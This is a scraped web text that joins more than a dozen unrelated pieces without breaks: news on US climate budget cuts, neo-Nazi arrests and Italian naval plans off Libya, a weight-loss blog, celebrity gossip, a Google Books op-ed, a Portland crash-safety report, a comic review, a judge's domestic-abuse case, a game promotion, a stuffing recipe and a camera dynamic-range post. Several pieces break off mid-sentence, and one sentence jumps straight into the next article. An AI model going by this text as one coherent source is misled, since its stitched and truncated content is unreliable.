Sprouting from the Midwest is Jon Wayne and The Pain. In 2012, Jon Wayne and the Pain are working alongside of Lewis Richards in the famed 17th street Studio in Costa Mesa, CA. Expect some new music from Jon Wayne in the Fall of 2012.The Trump administration has published its first detailed budget, and as expected, it signals bad news for the planet.
The proposed cuts to discretionary spending in the 2018 fiscal year still require congressional approval. But if enacted they would totally shut down the clean-energy investment arm of the Department of Energy, halt payments to UN climate-change programs, close down many of the Environmental Protection Agency’s climate programs, and terminate climate-focused initiatives at the National Aeronautics and Space Administration and National Oceanic and Atmospheric Administration.
The budget proposes to cut funding for the Department of Energy by 5.6 percent, to $28 billion. To achieve that, it would, as feared, completely shutter the activities of the Advanced Research Projects Agency-Energy, which currently invests in clean-energy moonshots. It would also rein in programs where the department works with industry to commercialize its own research, and instead have it focus on basic science.
At the Environmental Protection Agency, the budget would be slashed by 31 percent, to $5.7 billion. The reductions would cut over 50 EPA programs, many of which relate to climate change—again, as anticipated. The Clean Power Plan would be discontinued, as would the agency’s international climate-change programs and its climate-change research and partnership programs.
At NASA, some Earth-monitoring science missions are due to be axed. These include PACE, which monitors ocean and atmospheric changes related to climate change; OCO-3, which measures the distribution of carbon dioxide on Earth; and DSCOVR, which collects data on Earth’s atmosphere and solar winds. At NOAA, programs supporting coastal and marine management, including those intended to help communities prepare for climate change, would be killed.
And then there’s a final doozy. The budget says that the administration would “cease payments to the United Nations’ climate change programs by eliminating U.S. funding related to the Green Climate Fund and its two precursor Climate Investment Funds.” The Green Climate Fund was established so that rich countries could help poorer nations prepare for climate change and adopt cleaner technologies. Just days before President Obama left power, the U.S. made a $500 million payment to the fund.
All told, then, the budget would cut many of the elements central to America’s commitment to slowing climate change. It would hinder the U.S. from meeting the pledges it made as part of the Paris climate agreement, and stop it from helping people around the globe to keep up their end of the deal. The only hope for the climate is that Congress values those commitments more than Donald Trump does.
(Read more: America First: A Budget Blueprint to Make America Great Again, “How Much Damage Could Scott Pruitt Really Do at EPA?,” “Will ARPA-E Survive Trump’s Looming Budget Cuts?,” “The Paris Climate Pact Is in Effect, but It’s Not Enough”)Weight Watchers rocks!
It's not a quick diet - It's a decision to live a healthy lifestyle.
SW: 267.8 lbs
CW: 232.8 lbs
+/- this week: -2.4 lb
Total lost = 35 lbs
Join me on my journey to lose weight and get in shape! I'm also working hard to maintain good control of my Type 2 Diabetes & lower my cholesterol #'s.
I started this blog on Feb 27, 2013.
I'm counting on my sense of humor, the support of my Saturday morning Weight Watchers class & the encouragement from my terrific husband to get me through the rough spots. This won't be quick or easy, but improving my health & how I feel about myself makes it all worthwhile.
Please know that I support healthy eating and exercising as a means to weight loss, NOT starvation or any other radical methods that are harmful to your body.
SearchServing British soldiers are among four alleged members of National Action, the banned neo-Nazi group, arrested on suspicion of preparing acts of terrorism.
The men - a 22-year-old from Birmingham, a 32-year-old from Powys, a 24-year-old from Ipswich and a 24-year-old from Northampton - were held on Tuesday.
The Ministry of Defence confirmed that "a number of serving members of the Army have been arrested under the Terrorism Act".
West Midlands Police said the four men have been arrested on suspicion of terrorism offences.
A spokesman said they "have been arrested on suspicion of being concerned in the commission, preparation and instigation of acts of terrorism under Section 41 of the Terrorism Act 2000; namely on suspicion of being a member of a proscribed organisation (National Action) contrary to sec 11 of the Terrorism Act".
All four men are being held at a police station in the West Midlands.Amanda Bynes definitely didn't create the phrase "LOL," but she may have the distinct honor of coining a charming little idiom.
On Thursday, the 26-year-old actress upped the ante on her bizarre tweets, when she wrote that she wanted Drake to murder her vagina:
I want @drake to murder my vagina — Amanda Bynes (@AmandaBynes) March 22, 2013
Now, we know that Bynes has a crush on the Canadian rapper since she recently tweeted that he was a "hot fellow." The former "What I Like About You," star has apparently forgone all attempts at playing hard to get and is laying her cards on the table.
But before Drake considers taking Bynes up on her offer, he might want to mull over the fact that the self-proclaimed retired millionaire, seems increasingly unstable. Just last week, a friend of Bynes' told RadarOnline, the actress was "blissfully unaware" of her erratic behavior.Italy's center-left government will brief lawmakers about a plan to deploy Italian navy vessels along Libya's shores to stop traffickers sending migrants to Italy, Premier Paolo Gentiloni said Thursday.
A Libyan request to send Italian navy ships to patrol its waters was "a possible turning point" in the migration crisis, said Gentiloni, who convened military chiefs and ministers on Thursday to discuss immigration, security, and Libya.
Libyan Prime Minister Fayez Serraj, who leads the UN-backed unity government in Tripoli, made the request for Italian naval help while in Rome on Wednesday. His visit came after Serraj and the rival government of General Khalifa Hifter met in France and agreed on a ceasefire and possible national elections in the unstable North African country.
Nearly 600,000 boat migrants have arrived in Italy since 2014 after making the dangerous cross-Mediterranean journey in boats.
Sending migrants back
The EU naval mission Operation Sophia, Italian navy and non-governmental organizationsalready pick up migrants in the central Mediterranean, but are not allowed to operate within 12 nautical miles of Libya. Migrants intercepted in international waters are brought Italy for processing.
More than 100,000 migrants, mostly from Africa, have arrived on Italy's shores this year
Italy's Corriere della Sera newspaper reported on Thursday that Italy was considering sending a command ship to lead a flotilla of at least five smaller vessels to operate in Libyan waters in cooperation with the Libyan coast guard. Up to 1,000 sailors could be involved in the operation, which would also see the use of planes, helicopters, and drones.
The naval mission could go before the Italian parliament as early as next week, where it is likely to pass as the issue of migration takes on greater importance ahead of national elections next year.
Italy wants to stop migrant boats in Libyan territorial waters and send the migrants back to Libya. Under international law, migrants intercepted in international waters cannot be sent back to Libya if they face potential violence and persecution.
There have been reports of torture, rape, forced labor, beatings and other human rights violations suffered by migrants in Libya, where they can languish indefinitely in camps.
The Italian government recognizes this and wants international organizations like the UN to help migrants return to Libya and ensure proper treatment before repatriation to their home countries.
EU support
Italy has complained of a lack of solidarity from EU countries in dealing with the migrant influx, although Gentiloni on Thursday said he had spoken to several European partners who signaled their support.
"It pleases me to know there is a lot of support in Europe for this new possibility," he said.
EU sources in Brussels told German news agency DPA that the EU mission Operation Sophia may also participate in a mission in Libyan territorial waters.
This might happen "once the appropriate conditions are met, an invitation by the legitimate Libyan authorities has been made and taking into account any applicable UN Security Council Resolution," a European Commission spokesman said.
Senior EU officials and Admiral Enrico Credendino, head of Operation Sophia, are due to meet with Libyan officials in Tripoli on August 1.
Germany's Shulz talks migration in Rome
The Italian premier also met in Rome on Thursday with former European Parliament President Martin Schulz, who is challenging German Chancellor Angela Merkel in national elections as head of the Social Democrats (SPD).
Trailing about 15 points behind Merkel's conservatives in the polls only two months before the German election, Schulz has recently latched onto the migration issue to launch attacks on the chancellor.
Schulz, who called for more solidarity in the EU on the immigration issue, urged European countries to do more to help Italy, especially over sharing the migrant burden. He has recently floated the idea of using Germany's financial clout in a carrot and stick approach to force EU-wide sharing of migrants.
SPD leader Martin Schulz met Italian Prime Minister Paolo Gentiloni in Rome
France's Macron wants registration centers in Africa
Italy isn't the only country thinking of taking new steps on the migration issue. French President Emmanuel Macron on Thursday floated the idea of creating "hotspot" registration centers in Libya, Chad, and Niger to process migrants in Africa.
The idea is to "to avoid people taking crazy risks when they are not all eligible for asylum," Macron said at a citizenship swearing in ceremony in the city of Orleans.
He warned that there are between 800,000 and one million people in precarious camps looking to make the journey to Europe from Libya, most of whom are economic migrants.
Macron said he hoped other EU countries would buy into the idea, but if not, then France would do it alone.
However, after Macron said the "hotspots" could be established this summer, a presidential official told AFP it would not be possible so soon due to poor security in Libya. "Does that remove the ambition to create this sort of center in Libya? No," the official told AFP.
"The important thing is to ensure the security of people who will work there and of the migrants," the official added.
cw/bk (AFP, AP, dpa, Reuters)The best books … are those that tell you what you know already.
- George Orwell
If you Google the word “Google,” you get 2,650,000,000 results. If you Google “Google, monopoly,” 3,210,000 items are returned. If you Google “Google, Orwellian nightmare, digital apocalypse, corporate intellectual engineering,” the harvest is much more limited; only 1,280 matches appear.
These results, the product of complicated algorithms, exist for one reason: Google allows them to. The moment it decides this information is either irrelevant or unsavory, it can easily be buried deep into the black hole of cyberspace where no one – not even an errant bottom-feeder – can find it.
Of course, the folks at Google don’t do this; it’s not their business plan. What they want, at the moment, is to acquire more information, not bury it. But imagine a future in which all information is stored, displayed, filtered and produced by one source: Google. Imagine a future in which print books cease to exist – it’s likely on the horizon – and every piece of literature from Plato’s “The Republic” to your calculus textbook exists in a digital format with one monolithic gatekeeper. Imagine typing in a search query for Ray Bradbury’s “Fahrenheit 451″ and getting back a list of books about baking turkeys; the novel is gone, vanished.
Yes, I am being sensational. True, there is little evidence Google has such pernicious motives, but one part of this doomsday scenario is not only feasible, it’s happening now. A $125-million settlement of a class-action lawsuit filed on behalf of the copyright holders of millions of books may provide Google exclusive digital rights to most of the books in the world.
The lawsuit is a result of Google’s Book Search Project, for which the company has scanned and digitized more than 7 million books in the last five years. Google has been digitizing and making available for download all books not under U.S. copyright law. It also scans and shows snippets – up to 20 percent – of copyrighted books, under the protection of the Fair Use doctrine. Google’s intention, according to its mission statement, is to “organize the world’s information and make it universally accessible and useful.” However, being able to publish snippets of books in search results also creates revenue, which is why a consortium of authors and publishers sued Google in 2005 demanding a share of the profits.
What happened next was a bit of legal maneuvering so sly it would have blown Perry Mason’s mind.
When Google sat down at the negotiating table with publishers, it was ready and willing to pony up a bundle of cash to keep its digital library growing. However, what it wanted in return was an explicit license to digitize and sell “orphan books,” which are out-of-print copyrighted works with no findable heir or owner. By some estimates, these books make up about 70 percent of books in print, and there’s no precedent for whom their digital rights should belong to.
By wresting control of orphan books into perpetuity, Google essentially turned the concept of a class-action lawsuit inside out. In addition, it inserted a “most favored nation” clause in the settlement, which would prevent publishers from offering better terms on non-orphan books to Google’s future competitors.
The ramifications are chilling. Brewster Kahle, founder of the non-profit Internet library Archive.org, said future libraries may be nothing more than “subscribers to a few monopoly corporations’ databases.” Even more worrisome will be Google’s ability to alter the availability and popularity of literature via its search rank. If Google doesn’t like a book, it will be able to effectively purge it by making it unsearchable. The cherry on top is that Google will have a comprehensive database of the reading lists of all Americans that will be searchable by any topic. Wow, I wonder who might be interested in that?
The only good news |
West Oahu, offering the latest trends in women's swimwear, including its signature Brazilian-cut bikinis, resort wear and accessories.
San Lorenzo Bikinis joins popular holiday pop-up store Homegrown, which returned to Ka Makana Alii permanently as Noeau Designers on February 2. Opening in the same retail location, the store concept represents the union of local businesses Aumoana Designs and Wehiwa Soaps, and showcases a variety of made-in-Hawaii products including apparel, jewelry, skincare, and laau lapaau — Hawaiian medicinal plants.
Noeau Designers will be celebrating their grand reopening on Friday, February 17, with live music and interactive classes, including a personal lesson in traditional lei making.
Other new shopping center tenants include eateries Wendy's and Papa John's Pizza. The Cheesecake Factory and Sephora also recently announced that they'll be moving in to Ka Makana Alii.Arterials kill.
Using ODOT traffic crash data and their own data on transportation infrastructure Metro’s State of Safety report has found that roadway collisions cost our region $958 million a year — that’s significantly more than congestion.
The report also lays bare one of the nagging issues for local transportation planners and a central theme of the Mayor Sam Adams administration: Portland’s large, multi-lane arterials are unsafe. In what report authors refer to as one of the “most conclusive relationships” in the study, they found that a disproportionate amount of the serious crashes in our region occur on arterial roads.
Streets like Tualatin Valley Highway, 82nd Ave, SE Powell, McLoughlin Blvd (in Clackamas County) have much higher rates of fatalities and serious injuries than neighborhood streets or even freeways.
The report found that Between 2007 and 2009, there were 151 fatal collisions in the Portland Metro region, killing 159 people, and an additional 1,444 collisions resulting in incapacitating injury. In total, the report says, those collisions cost the region $958 million a year in property damage, medical costs, and lost productivity, “not to mention the pain and suffering from the loss of life.”
By comparison, Metro’s very influential 2005 Cost of Congestion report found that traffic jams could cost the region $844 million a year in lost productivity by 2025.
Metro Councilor Rex Burkholder says that making road safety improvements, “could help the economy more than fighting congestion.”
The 104 page report was put together by Metro along with a “Regional Safety Workgroup” made up of federal, state and local transportation agencies, researchers and safety specialists. It was spurred by Metro’s Regional Transportation Plan (RTP), which calls for a 50% reduction in fatal and serious injury traffic collisions by 2035.
Here are a few of the key findings:
Arterial streets have the highest rate of fatal and severe injury crashes, for all road users: motorists, bicyclists and pedestrians.
Crash rates rise on surface (non-freeway) streets with more lanes, and are significantly higher on those with six lanes or more.
Surface (non-freeway) streets with four lanes or more have particularly high fatal and severe injury crash rates for pedestrians.
Speed is a contributing factor in 26% of serious crashes, while aggressive driving is a factor in 40% of serious crashes.
Alcohol or drugs are a contributing factor in most fatal crashes.
For pedestrians, fatal and severe injury crashes happen especially often after dark.
Nighttime serious pedestrian and bicycle crashes occur disproportionately where street lighting is not present. 79% of serious pedestrian crashes and occurring at night and 85% of serious bicycle crashes occurring at night happen where lighting is not present, as compared to 18% of all serious crashes occurring at night. [This puts an interesting twist on the tendency of authorities and the media to blame victims in these collisions for wearing dark clothing.]
Beyond documenting the financial and tragic toll roads take Metro crunched the numbers and published many interesting charts and graphs to put this problem into perspective. One chart shows the rate of serious collisions (fatal or serious injury) in all 28 cities in the Portland metro area. Portland came in 9th and six of the top 10 are in Clackamas County.
Unsafe conditions on our major arterials is one of the biggest takeaways from this study. The chart below shows serious crashes by type of roadway:
Despite making up just 19% of the total system, 49% of all serious collisions happen on 4-5 lane arterial roads:
Wider roadways are the location of a disproportionate number of serious crashes in relation to both their share of the overall system (Figures 3-4 and 3-5) and the vehicle-miles travelled they serve (Figure 3-6). The crash rate increases dramatically for roadways with 6 or more lanes.
Another interesting conclusion in the report was that congested (non-freeway) streets are safer. The report states, “The serious crash rate per vehicle-mile travelled is highest for uncongested non-freeway roadways.” (This comes just a day after PBOT told us they had to increase auto capacity in the Williams Ave Safety Project because they are worried about congestion.)…
Interestingly, the report found that Portland has 68% of the region’s serious bicycle collisions, as well as the highest rate of serious bicycle collisions per capita and per vehicle mile traveled. (52% of those collisions happened on arterials.)
When it comes to the cause of serious bicycle crashes, failure to yield the right of way is the most common…
Check out this map that shows the location of all serious injury and fatal bike collisions between 2007 and 2009;
The report also laid out a number of implementation strategies to improve safety. Here area few of them that caught my eye:
A regional arterial safety program to focus on corridors with large numbers of serious crashes, pedestrian crashes, and bicycle crashes.
Safety strategies that match solutions to the crash pattern and street and neighborhood context, rather than an approach of simply bringing roadways up to adopted standards
Policies that reduce the need to drive, and therefore reduce vehicle-miles travelled
A focus on safe cycling facilities and routes, particularly in areas where serious crashes are occurring
More detailed research on the relationship between land use patterns and safety
That first bullet point is essentially what PBOT is already doing with their High Crash Corridor Program. Kudos to them for identifying this problem years ago and acting on it. Hopefully this report adds urgency to their effort and builds the coalition working on it.
I can’t help but think this report is a very big deal. It’s one thing for advocates, the community and a Mayor to talk about this stuff; but it’s another thing entirely for our metropolitan planning organization to publish an official report with such revealing data and strong recommendations. This report should be used by everyone from citizen activists fighting for neighborhood projects to politicians looking for cover to do the right thing.
— Learn more at OregonMetro.gov and download the full report here (25mb PDF)
Front Page
metro, reports, SafetyAccentuating the “grim” in “Grimm” for both laughs and shudders, French comics writer Fabien Vehlmann and married illustration team Kerascoet - the pen name of Marie Pommepuy and Sébastien Cosset - take the precious trope of tiny fairy-like people wandering the land of giant people, and turn it on its own violent head, snapping its neck and leaving it to decay. It’s like the Borrowers found themselves stranded in Lord of the Flies, without either canceling out the essence of the other.
Whatever world Aurora and her fellow pixies inhabit comes to a mucky and sudden conclusion, causing a mass exodus into dark, wet woods. Prior to the end of her world, Aurora was living out a fairy tale cliche, with a handsome prince coming over for apre-ball dessert and just beginning to profess his enchantment for her, but the fantasy life turns into a grim reality overnight.
Now scattered in the green growth of the forest, so easy to get lost in, dangerous because of predators, Aurora has taken it upon herself to marshall the means of survival for her fellow fairies. They need that help, since they’re incapable of doing it for themselves, too busy turning on each other in the name of survival to actually accomplish anything that will help them overcome their predicament. Even Aurora’s handsome prince proves useless.
The seeds of destruction have already been sown, though, and Aurora’s best efforts can’t save the dissolution of her pixie society, which unfolds in bloody and vicious ways. It almost seems foretold, though — their former home is, in fact, the body of a girl once living, now dead, collapsed on the forest floor, her flesh decaying and becoming part of the nature she now permanently rests in.
Magic, as in the form of Aurora and the other pixies, comes from within us, but our belief in the resulting creatures speckle our landscape. Deep faith in them requires some manifestion in the corporeal world, but in coming from the core of our own existences, and marching through the realities of our own world, how can magical beings be anything but as dark as we are?
European fairy tales are filled with cautionary tales, but they are always about the humans, never about the supernatural beings - those tend to be tricksters more than Tinkerbells. Vehlmann begs the question of who killed the girl lying on the forest floor. Was it a witch or a wolf dressed up as someone she knew? No, Vehlmann’s answer is much worse, making the traditional caution in these stories certainly more immediate, but also implying that the real world threats to the fairies are more dangerous than anything we tell children stories about.
Vehlmann might be riffing on fairy stories, but he doesn’t force his narrative to be bound by them. He prefers their preciousness remain as character traits, often leading to their undoing, but sometimes also highlighting their nobility. With no Grimm Brother or Hans Christian Anderson at the helm of the fairy people’s fates, there is no larger morality to dole out appropriate punishments for those with transgressive behavior. Some meet their end through their own evil nature, others because they are in the wrong place at the wrong time. Good pixies are victimized, as are bad pixies, and Vehlmann paints a seemingly magical universe with nothing at its core.
Slightly episodic in nature, Kerascoet rises to the illustrative challenge, at some points mastering the twee quality of the fairy people, while also approaching gruesome fates like deadpan punchlines to jokes that you weren’t immediately certain were being told. It’s work both playful and dark, which the team had already shown a mastery of in the Miss Don’t Touch Me and Dungeon books, but Vehlmann has provided them with a storytelling framework of a much more intense, philosophical level than either of those. Making the plight of magical people seem real and alive, helping readers see themselves in these fairies, Kerascoet’s work offers not only whimsy, but empathy, and that’s what makes Beautiful Darkness completely successful.The Ray Rice case shows that the NFL’s domestic abuse policy is bad. But the federal judicial system’s is even worse.
Although U.S. District Judge Mark Fuller is accused of a more prolonged and arguably more brutal assault on his wife than Rice, he will likely keep his job. With the protection of lifetime tenure on the bench and a helpful plea deal, Fuller appears set to skate away professionally unscathed.
Last month, Fuller’s wife, Kelli, made a frantic 911 call from a room in the Ritz Carlton in Atlanta. She pled for help, according to local news sources, and said the judge was beating her even as the call was underway.
“He’s beating on me. Please help me,” she said. The 911 dispatcher patched in an ambulance dispatcher, saying, “I can hear him hitting her now.”
An incident report would lay out what police found: blood in the bathroom, broken glass and hair on the floor—and visible injuries on Kelli Fuller’s mouth and forehead. She told police that the Alabama-based judge pulled her hair, dragged her, kicked her and struck her in the face.
“The beating he administrated to his wife is far more extensive than the one Ray Rice administered to his fiancée,” Donald Watkins, an Alabama attorney who is trying to get Fuller expelled from the bench, told The Daily Beast. “I’ve seen that the privilege and power of being a federal judge gives you impunity to beat your wife.” Watkins recently wrote to the Supreme Court urging Chief Justice John Roberts to take action against Fuller.
Fuller’s attorney and friend, Barry Ragsdale, played down the incident as a mere “family matter,” and said the judge anticipated returning to his job.
“He is embarrassed by the fact that it became a public spectacle rather than a family matter,” Ragsdale told the Beast. “He admits that he laid his hands on her during the course of that altercation… [but] nothing in the incident disqualifies him from being a federal judge.”
Ray Rice was quickly ostracized when the full brutality of his abuse became evident. Mark Fuller, on the other hand, is unlikely to see any long-term professional fallout.
Federal judges are afforded a great deal of leeway by the legal system due to the difficulty of removing them from office. In order to remove Fuller from the bench, the House of Representatives would have to vote on articles of impeachment, and the Senate would have to vote to convict.
“NFL players don’t have life tenure. That’s the big problem here. When you give a group of people life tenure, when you have a very complicated system for removing them from office, it’s not likely that much is going to be done,” explained Stephen Bright, president of the Southern Center for Human Rights and a visiting lecturer at Yale Law School. “He’ll probably be, at some point, restored to his position.”
The judge already looks set to avoid conviction on accusations of battery: Last week he accepted a plea deal that would avoid pending charges if he completes a counseling program.
In the meantime, the 11th Circuit Court of Appeals is investigating the incident. However, its options are weak: The court can issue a public rebuke or ask Fuller to resign, but little else.
In fact, The acting chief judge of the 11th Circuit has already alluded to Fuller’s return to the bench, telling Law360 that “Fuller recognizes that he needs to deal with these serious issues quickly so when he returns there is as little disruption to his cases as possible.”
Fuller’s attorney said that judgment should wait until the 11th Circuit concludes its investigation.
“There has been a rush to judgment based on very little evidence, really no evidence, about what’s transpired,” Ragsdale said. “[If] Judge Fuller concludes that he is morally incapable of continuing in that position, he will resign.”We are celebrating 15 years of HeroClix, the fantastic game that brings your favorite heroes and villains to your tabletop for fast-paced strategic excitement, by releasing a very special set of Marvel HeroClix figures. The Marvel HeroClix: 15 th Anniversary What If? set has Marvel characters like you’ve never seen them before. These characters come straight from the pages of classic issues of Marvel’s What If? series that takes readers to alternate universes to see how things change if events happened differently in the Marvel Universe.
With the help of the Time Twisters, Seth overpowered Odin and defeated Asgard in the same universe as Earth 9260. Several of Thor’s allies were killed in the fight while he and the rest of his fighting companions were imprisoned and toyed with by Seth until a disguised Immortus and his multi-universe allies Dr. Doom, Irondroid, and vampire Wolverine could liberate Asgard.
Coming in at 105 points with the Asgardian and Mystical keywords, this Thor means to stay close to his captors and do their bidding with long-range attacks. He has the Flight symbol and a range value of 7. He switches from a starting slot of Running Shot to Sidestep for his middle dial and finishes with Running Shot again. His mobility options overlap with his attack power options with Pulse Wave and Penetrating/Psychic Blast. Defensively, he starts with a click of Invincible followed by Invulnerability to reduce damage and finishes with three clicks of Energy Shield/Deflection to keep himself from being sniped too easily.
Though he lacks the use of Willpower, this Thor can become a regular cannon that can shoot every turn with his special power on damage Under Seth’s Thrall. If players give an adjacent friendly character with the Mystical keyword and a point value of 50 or more a double power action that deals no pushing damage, Thor can make a free close or ranged attack. If players keep characters that meet the point value and keyword requirements close and pile around some lower point figures with Enhancement or Empower or ones that give attack bonuses like the Hydra and SHIELD agents, then Thor can deal massive amounts of damage every turn without pushing!
Thanks for reading! Join us again as we reveal more exciting alternate reality characters and highlight strategies and team builds from the Marvel HeroClix: 15th Anniversary What If? set and visit the WizKids Info Network to find upcoming Release Day and Colossal OP events near you!
Until next time, we bid thee Odin’s favor!Stuffing was something to which I never gave much thought. I don’t even recall its presence during childhood Thanksgiving meals (though to be fair, the meal was always just a blind rush for pumpkin pie and cinnamon ice cream).
Today, my family’s Thanksgiving gatherings are not unlike a Woody Allen film. In attendance are often my mom, my dad, my dad’s wife, my half sister and brother, their mom, her wife, my cousin and her family, and a smattering of nieces and nephews. Did I mention that most of the adults are therapists? Things can get a bit neurotic at times, but the fantastic vittles (and copious amounts of wine) help.
My brother makes the best turkey on the planet. My mom brings spiced cranberry sauce and rum-soused sweet potatoes. My sister’s in charge of mashers, which are always perfectly rich and fluffy. And my sister-in-law always whips up a big vat of veggies and a huge green salad.
But it’s my half-sister’s mom, Pnina, who brings the stuffing every year, and I hold her entirely responsible for our current stuffing fixation. Of all the post T-day leftovers, Pnina’s stuffing is the most coveted, becoming more delicious by the day as it soaks in gravy and melds with mashed potatoes.
This year, not wanting to wait until Thanksgiving to enjoy stuffing, I concocted my own recipe made with a base of my gluten-free buttermilk skillet cornbread and roasted chestnuts all seasoned with sauteed leeks and chanterelles.
As I researched recipes for guidance on quantities, I realized that stuffing is essentially a savory bread pudding without the dairy, relying instead on stock to moisten the mixture. Where had I heard that before? Oh yes, Judy Rodgers’ musings on French panade in The Zuni Cafe Cookbook. In other words, stuffing is basically French – no wonder it’s so good.
(I also learned that the terms “stuffing” and “dressing” can be used interchangeably. Thanks, Chow.)
For this version, a simple “stock” made by soaking dried porcini mushrooms in boiling water moistens the mixture of bread and vegetables. Celery and fennel add a bit of crunch. Parsley’s clean flavor cuts through the rich, mushroomy umami (mushrumami? [wait, is that redundant?]) flavors going on, and chestnuts add their soft sweetness to the mix. A drizzle of olive oil over the top helps the upper layer of cornbread crisp up in the oven, which contrasts nicely with the stock-soaked bits below.
Chanterelles are usually a huge luxury with a matching price tag, but lately they’ve been as affordable as shiitakes at our co-op. Apparently, it’s been a very chanterelly fall in California. They add a touch of glamor to this dish, though any mushroom would be welcome – crimini, shiitake, button, or another wild mushroom of your liking.
Though I can imagine this stuffing rubbing elbows with turkey, mashers, and gravy, we’ve been enjoying it on its own as a main dish topped with a crumble of fresh goat cheese and served to the side of steamed broccoli and glasses of white wine. Either way, it’s bound to make a vegetarian feel extra special.
Wishing everyone a happy and minimally neurotic Thanksgiving!
Thanks for reading! For more Bojon Gourmet in your life, follow along on Facebook, Instagram, Pinterest, Bloglovin’, or Twitter, subscribe to receive new posts via email, or become a sponsor.
Fall-ing for Vegetables:
Cheesy Millet-Stuffed Butternuts with Shiitakes and Kale Pesto
Pasta Alla Carbonara with Kale, Brussels Sprouts, and Bacon
Leek and Gruyère Bread Pudding Baked in a Pumpkin
One year ago:
Gluten-Free Pumpkin Cream Tart
Two years ago:
Pumpkin Cinnamon Buns
Three years ago:
Smoky Tomato Butterbean Soup, and Cheddar Biscuits
Baked Pancake with Pear and Cardamom
Pecan-Topped Sweet Potato Pie
Four years ago:
Sourdough Apple Oat Pancakes
Curried Sweet Potato Pound Cake
Mac and Cheese with Bacon, Squash and Collards
Gluten-Free Cornbread Stuffing with Chestnuts, Leeks, and Chantarelles
This stuffing is just the thing to serve alongside meat (such as turkey on thanksgiving, natch) or as a vegetarian main dish topped with a crumble of fresh goat cheese, with some green vegetables on the side and a glass of crisp white wine to wash it all down.
A few notes:
The cornbread recipe makes a little more than you’ll need for the recipe. This is a good thing because, it you’re like us, you’ll be hard pressed to resist the lovely aroma emanating from the oven, and can unabashedly slice off the edges to eat warm, topped with butter.
If you can’t find chanterelles, don’t fret – crimini, shiitake, button, or wild mushrooms of your choice will work, too (or a combination).
I like making the whole thing – cornbread, cooked veg, and stuffing – in my 10″ cast-iron skillet with 2″ high sides, but it could just as easily go in a 9×13″ rectangular pan, or the equivalent. If you go with cast-iron, don’t store the stuffing for more than a day in the pan or the acids in the stuffing will leach iron from the pan, giving the corners of the stuffing a slightly metallic flavor.
Serves 6 as a main dish, 10 as a side
1/2 ounce (15 grams) dried porcini mushrooms
2 cups (475 ml) boiling water
6 cups (1 pound/450 grams) Gluten-Free Buttermilk Skillet Cornbread in 1/2-inch (1 cm) cubes
6 tablespoons (90 ml) olive oil, divided use
3-4 cups (1 pound/450 grams) sliced chanterelles (or other mushrooms – see headnote)
2 medium leeks, sliced
1 large shallot, peeled and diced
1 small fennel bulb, trimmed, halved lengthwise, and sliced thinly crosswise
2 celery ribs, trimmed and sliced on the diagonal
1 teaspoon fresh thyme leaves
1/2 teaspoon truffle salt or sea salt
1/2 cup (120 ml) dry white wine
1/4 cup parsley, washed and chopped, plus extra for garnish
1 1/2 cups (7 ounces/200 grams) whole, cooked, peeled chestnuts, sliced
Make the porcini “stock”:
Place the dried porcini in a heat-proof bowl or measuring cup, and add 2 cups of boiling water. Let stand while you get on with the recipe, 20 minutes or longer.
Toast the cornbread:
Position a rack in the center of the oven and preheat to 300ºF (150ºC). Spread the cubed cornbread on a rimmed baking sheet lined with parchment paper for easy clean-up. Bake until dried out and lightly toasted, 20-30 minutes. Remove and let cool, then place in a very large bowl and set aside. Increase the oven temperature to 375ºF (190ºC).
Cook the mushrooms:
Rinse the chanterelles briefly under running water, drain well, and use a paper towel or two to wipe off any clinging dirt. Slice the stems fairly thinly, and cut the crowns into 1-inch (2.5 cm) pieces.
Coat a 10-inch (25 cm) oven-proof (such as cast-iron) skillet with 1 tablespoon olive oil and heat over a high flame until the oil shimmers. Add half the mushrooms in a single layer, and saute on high, shuffling the pan frequently, until the pan is dry and the mushrooms are glazed and tender, 5-10 minutes. Tip the mushrooms into the bowl on top of the cornbread. Repeat with the remaining mushrooms.
Cook the veg:
Meanwhile, soak the sliced leeks in a bowl of cool water, separating the rings and letting any sandy dirt to sink to the bottom of the bowl.
To the now-empty skillet, add 2 tablespoons olive oil and warm over a medium flame until it shimmers. Lift the leeks out of their bowl, shake off any excess water, and add them to the hot pan along with the shallot, fennel, celery, thyme, and salt.
Cook, stirring frequently, until the vegetables are wilted and crisp-tender, about 10 minutes. Add the wine, and continue cooking until the pan is dry. Add the leek mixture to the bowl with the cornbread and mushrooms. Reserve the skillet – no need to wash.
Assemble the stuffing:
Scoop the soaked porcini out of their soaking liquid, reserving the liquid and squeezing the porcini dry. Chop the porcini finely and add to the stuffing mixture. Add the parsley and sliced chestnuts, and stir the stuffing gently to combine. Gently strain the porcini “stock” through a fine-mesh sieve, leaving behind any sandy dirt that may be hanging out at the bottom. (You can strain the liquid through a coffee filter to be extra safe, if you like.) Pour the porcini “stock” over the stuffing, and toss gently to moisten evenly. Scoop the stuffing back into the skillet (or into a greased 9×13″ baking pan). Drizzle with the remaining 2 tablespoons olive oil.
Bake the stuffing at 375ºF (190ºC) until heated through and golden and crisp on the top, 20-30 minutes. Serve the stuffing warm. Extras keep well, refrigerated, for up to several days and reheat beautifully (just don’t store them in your cast-iron skillet).This is part of a long series of posts about the Sony a6300. The series starts here.
My modeling program also allows the calculation of a dynamic range measure that more closely describes the useful dynamic range of a camera used for general purpose (as opposed to scientific or technical) photography than the engineering dynamic range (EDR) curves that I presented earlier. The more appropriate measure is called Photographic Dynamic Range (PDR). Like EDR, PDR is the full scale divided by a number. For EDR, that number is the noise floor. For PDR, the number is the signal level that produces a barely acceptable signal to noise ratio (SNR) in a photographic image. PDR’s therefore tend to be lower than EDRs without resolution correction.
The variant of PDR that I use I call the Claff PDR, after its inventor, Bill Claff (Bill is far to modest to name it that, but he deserves the credit). Bill’s definition of the SNR that forms the denominator provides a level playing field for cameras of different resolutions and is 16000 over the camera image height in pixels. That sounds arbitrary, but it’s not.
Well, it’s a little arbitrary. Let’s get that part out of the way first. It assumes an image aspect ratio of 3:2. That’s the case with all the cameras that I remember Bill analyzing on his site, but not for all the cameras that I own, so I’m going to modify the SNR floor to 28844 over the image diagonal in pixels. That will give the same number for images with 2:3 aspect ratios. It’s way more significant digits than we need for this calculation, but, what the heck, computers are going to do all the work anyway, and they don’t care.
What setting the SNR floor for a raw image to 28884 over the image diagonal in pixels does is produce an SNR of 20 for images ideally resized to 8×10 inches and viewed at arms length. You may print larger and you may view the image from a different distance. In that case, you’ll want to adjust the floor SNR accordingly.
Enough background. When I search for samples with a SNR of 4, which is the Claff SNR for each raw channel for images from a 4000×6000 pixel camera, in single shot mode with the a6300, I get:
You’ll notice that the numbers are lower than the a6300’s EDR as shown in the previous post by about two and a half stops.
If we average all four raw channels, we get:
